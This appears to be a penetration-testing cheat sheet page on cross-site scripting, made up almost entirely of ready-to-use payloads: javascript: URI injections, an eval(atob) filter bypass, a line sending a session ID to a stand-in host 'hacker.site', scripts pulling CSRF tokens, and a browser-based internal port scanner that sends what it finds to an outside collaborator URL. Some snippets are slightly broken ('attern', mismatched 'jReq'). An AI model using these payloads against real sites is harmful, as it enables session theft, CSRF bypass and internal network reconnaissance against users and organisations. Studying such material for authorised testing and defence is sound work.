Skip to content

XSS

Payloads

<embed src="http://hacker.site/evil.swf">
<embed src="javascript:alert(1)">
<iframe src='jAvAsCripT:alert`1`'></iframe>

Filter Bypass

Base64 into Eval

<img src=x o<scriptnerror=javajavascript:script:eval(atob('%s'))>

Extract Session Data

new Image().src ="http://hacker.site/SID?"+escape(sessionStorage.getItem('sessionID'));

Despite document.cookie, the attacker needs to be more precise because the name of the key used to store the session ID may change

Scripts

Extract CSRF Token from XSS in same page

Using XHR 

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
var htmlSource = xhr.responseText;
//some operations…
}
}
xhr.open('GET','http://victim.site/csrf-form-page.html', true);
xhr.send();
Using JQuery 
Req= jQuery.get('http://victim.site/csrf-form-page.html', 
function() {
var htmlSource = jReq.responseText;
//some operations…
});
Using DOM 
var token = document.getElementsByName('csrf_token')[0].value

Extract CSRF Token from XSS in different page

Using regex 

attern = /csrf_token'\svalue='(.*)'/;
token = htmlSource.match(pattern)[1]
Using DOM Parser 
parser = new DOMParser().parseFromString(htmlSource,"text/html");
token = parser.getElementsByName('csrf_token')[0];

Internal Network Port Scanner

<script>
var q = [], collaboratorURL = 'http://ac3b1fe21fddcea0802d5e8a01780096.web-security-academy.net/exploit';
for(i=1;i<=255;i++){
  q.push(
  function(url){
    return function(wait){
    fetchUrl(url,wait);
    }
  }('http://192.168.0.'+i+':8080'));
}
for(i=1;i<=20;i++){
  if(q.length)q.shift()(i*100);
}
function fetchUrl(url, wait){
  var controller = new AbortController(), signal = controller.signal;
  fetch(url, {signal}).then(r=>r.text().then(text=>
    {
    location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
  }
  ))
  .catch(e => {
  if(q.length) {
    q.shift()(wait);
  }
  });
  setTimeout(x=>{
  controller.abort();
  if(q.length) {
    q.shift()(wait);
  }
  }, wait);
}
</script>

Write-ups